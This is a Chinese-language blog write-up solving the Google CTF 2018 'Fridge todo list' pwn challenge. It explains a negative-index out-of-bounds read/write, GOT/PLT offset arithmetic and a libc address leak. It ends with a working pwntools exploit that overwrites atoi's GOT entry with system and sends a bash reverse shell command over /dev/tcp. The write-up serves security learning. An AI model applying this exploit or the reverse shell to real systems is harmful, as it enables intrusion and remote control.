CTF Pwn 题目 Fridge todo list 解题记录

这是什么

Fridge todo list 是 Google CTF 2018 Quals Beginners Quest 中的一道 Pwn 题目。我最近在阅读 virusdefender 写的系列文章《二进制安全之栈溢出》,第 8 篇文章讲的是 GOT 和 PLT,其后的练习题便是这道题目。为了让学习更加有效,我决定完成这道练习题。

打开链接后我拿到了一个名为 todo 的可执行文件和它的源代码 todo.c。在完成题目之前,我决定不阅读 README.md 和 exploit.py。由于不能阅读说明文档,再加上没有参加过 CTF 比赛,我其实不知道这道题目想让我做什么。于是凭着自已的理解我定下了这样的目标——找到漏洞并成功利用。

前期检查

用 file 命令可以看到 todo 是一个 64 位动态链接的 ELF 文件。

$ file todo
todo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

用 checksec 命令检查 todo 开启的安全防护

$ checksec todo
[*] '/home/werner/Playground/todo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

看到

  • Arch:小端存储的 64 位程序
  • RELRO(read only relocation):部分开启,说明我们可能有对 GOT 的写权限
  • Stack:canary 没有开启
  • NX(no execute):开启,数据段不可执行
  • PIE(position-independent-executable):开启,如果操作系统也开启了 ASLR,程序每次运行时基址都不同

熟悉程序

直接运行 todo,发现它是一个可以保存、显示和删除待办事项的程序。部分运行输出如下所示:

$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗        
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗       
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║       
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║       
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝       
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝        

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║   
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║   
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║   
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝   
user: werner

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 0
What's your TODO? study

Hi werner, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 0
Your TODO: study

我输入了 %s%s%s%s%s%s%100$p 等各种 payload 做为待办事项尝试触发格式化字符串漏洞,均未成功。

发现漏洞

通过阅读源代码,获得了以下重要信息。

  1. 待办事项保存在大小固定的 char 数组全局变量 todos 中,相关代码是
#define TODO_COUNT 128
#define TODO_LENGTH 48

char todos[TODO_COUNT*TODO_LENGTH];
  1. 读或写哪一项待办事项是由用户输入的,相关边界检查是
int idx = read_int();
if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
}

可以看到只检查了用户输入的 idx 是否超过了允许的最大值 TODO_COUNT,却没有检查 int 类型的 idx 是否小于 0。查看 read_int 函数的实现

int read_int() {
  char buf[128];
  read_line(buf, sizeof(buf));
  return atoi(buf);
}

看到它先读了一个字符串,再用 atoi 函数把字符串转为整数。atoi 函数是支持负数的。

如果输入负数,程序就会读或写 todos[负数*48] 地址的数据。可见 todo 存在“任意”地址数据读写漏洞。但这个“任意”是打引号的,并不是真正的任意,存在以下几点限制:

  • 只能读写比全局变量 todos 地址更小的地址的数据
  • 可以读写的地址的起点间隔 48 字节
  • 会被 \x00 截断

利用思路

讲 GOT 和 PLT 的文章后面的练习题,漏洞利用自然与 GOT 和 PLT 相关。先来查看 GOT 和 todos 的地址的相对位置。运行 todo,然后用 gdb 附加调试

$ gdb attach <todo 的 pid>

输入 gdb 命令 info variables 查看变量,部分输出如下所示

Non-debugging symbols:
0x00005588450fe2e0  _IO_stdin_used
0x00005588450fe300  BANNER
0x00005588450ff400  MENU
0x00005588450ff4a0  OUT_OF_BOUNDS_MESSAGE
0x00005588450ff7b8  __GNU_EH_FRAME_HDR
0x00005588450ffb7c  __FRAME_END__
0x00005588452ffde8  __frame_dummy_init_array_entry
0x00005588452ffde8  __init_array_start
0x00005588452ffdf0  __do_global_dtors_aux_fini_array_entry
0x00005588452ffdf0  __init_array_end
0x00005588452ffdf8  _DYNAMIC
0x0000558845300000  _GLOBAL_OFFSET_TABLE_
0x0000558845300098  __data_start
0x0000558845300098  data_start
0x00005588453000a0  __dso_handle
0x00005588453000a8  __TMC_END__
0x00005588453000a8  __bss_start
0x00005588453000a8  _edata
0x00005588453000c0  stdout
0x00005588453000c0  stdout@@GLIBC_2.2.5
0x00005588453000d0  stdin
0x00005588453000d0  stdin@@GLIBC_2.2.5
0x00005588453000d8  completed
0x00005588453000e0  username
0x0000558845300120  todo_fd
0x0000558845300140  todos
0x0000558845301940  _end
0x00007f153bf3dc47  inmask
0x00007f153bf3dd20  slashdot

可以看到 GOT 的地址是 0x0000558845300000(_GLOBAL_OFFSET_TABLE_)比 todos 的地址 0x0000558845300140 小。它们之间差了 0x140 = 320,是 48 的 6.66 倍。虽然每次运行程序地址都可能不同,但它们之间的相对位置是固定的。相差不是整数倍,但 GOT 表项很多,每个表项 8 字节,我们总可以找到恰当的一项来读或写。其实就漏洞利用来说,我们也不会尝试读 GOT 的第 0 项。

直接查看 GOT 只能看到一些地址,并不能知道 GOT 的哪项对应什么函数。因此我们查看 PLT

$ objdump -d -j .plt todo | grep '@plt'
0000000000000900 <puts@plt>:
0000000000000910 <write@plt>:
0000000000000920 <strlen@plt>:
0000000000000930 <errx@plt>:
0000000000000940 <system@plt>:
0000000000000950 <printf@plt>:
0000000000000960 <setlinebuf@plt>:
0000000000000970 <strncat@plt>:
0000000000000980 <close@plt>:
0000000000000990 <read@plt>:
00000000000009a0 <fgets@plt>:
00000000000009b0 <err@plt>:
00000000000009c0 <fflush@plt>:
00000000000009d0 <open@plt>:
00000000000009e0 <atoi@plt>:
00000000000009f0 <__ctype_b_loc@plt>:

又知道 PLT 的第 m 项是 GOT 的第 m+2 项。GOT 第 x 项的地址是 0x0000558845300000 + 8*x,todos 的地址 0x0000558845300140 减去 0x0000558845300000 + 8*x 要是 48 的整数倍,即

0x0000558845300140 - (0x0000558845300000 + 8*x) = 48*n

亦即

320 - 8*x = 48*n

亦即

6*n + x = 40

穷举可得整数解有

  • n=1, x=34
  • n=2, x=28
  • n=3, x=22
  • n=4, x=16
  • n=5, x=10
  • n=6, x=4

又知道 PLT 的最大项数是 17,所以 GOT 的最大项数是 19(19=17+2),所以 n 只能取 4、5 或 6。对应的函数是

  • n=4, open
  • n=5, strncat
  • n=6, write

小端存储的 64 位地址的最后几个字节一般来说都是 0x00,读取数据时遇到 0x00 会截断,所以只能从 GOT 中读这三个函数的地址。写数据时情况有所不同,虽然有效的地址含有 0x00,我们最多只能写入一个有效地址,但却可以在有效地址前写入 8*y 个非 0x00 的填充数据,总共覆盖 y+1 个 GOT 表项,只是只有最后一个表项被覆盖为有效地址。

阅读源代码可知 write 函数在程序最后才调用,因此只能选则读 open 函数或 strncat 函数的地址。读到某个 glibc 函数的地址,就可以跟据相对位置算出其它函数——比如 system 函数的地址。在 gdb 中,用 print 命令查看函数地址

gdb-peda$ print open
$2 = {int (const char *, int, ...)} 0x7ffff7af1d10 <__libc_open64>
gdb-peda$ print system
$3 = {int (const char *)} 0x7ffff7a31550 <__libc_system>

下次运行时,若读到 open 函数地址是 open_addr,便可算出 system 函数地址是 0x7ffff7a31550 – 0x7ffff7af1d10 + open_addr。

假设已经知道了 system 函数的地址,该怎样利用呢?

我们可以把某个函数的 GOT 表项覆盖为 system 函数的地址,并设法使该函数在下次调用时的参数是我们想要执行的 sh 命令字符串地址。逐个检查后发现 atoi 函数是最合适的,因为

  • 它接受一个字符串地址做参数
  • 它的参数是用户可以控制的

atoi 函数是 PLT 的第 15 项,所以是 GOT 的第 17 项。n 取 4 时是第 16 项,再加上 8 字节的填充即可覆盖第 17 项。

攻击脚本

按上面的思路,用 pwnlib 可以写出如下的攻击脚本

from pwn import *
from pwnlib.tubes import process

todo = process.process('./todo')
todo.recv()
todo.recv()
todo.sendline('admin')
todo.recv()

todo.sendline('2')
todo.recv()
todo.sendline('-4')    #  n=4,读 open 函数的 GOT 表项
r = todo.recv()
open_addr = u64(r[11:17]+'\x00\x00')
print("open_addr is {}".format(hex(open_addr)))

system_addr = 0x7ffff7a31550 - 0x7ffff7af1d10 + open_addr    # 计算 system 函数的地址
print("system_addr is {}".format(hex(system_addr)))

todo.sendline('3')
todo.recv()
todo.sendline('-4')
todo.recv()
todo.sendline('A'*8 + p64(system_addr))    # 覆盖 atoi 函数的 GOT 表项为 system 函数地址
todo.recv()

# 输入要执行的 sh 命令,这里写的是一个反弹 shell 命令
todo.sendline('bash -c "bash -i >&/dev/tcp/127.0.0.1/10001 0>&1"')
todo.recv()

运行如上所示的攻击脚本,成攻获得反弹 shell。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

17 − 6 =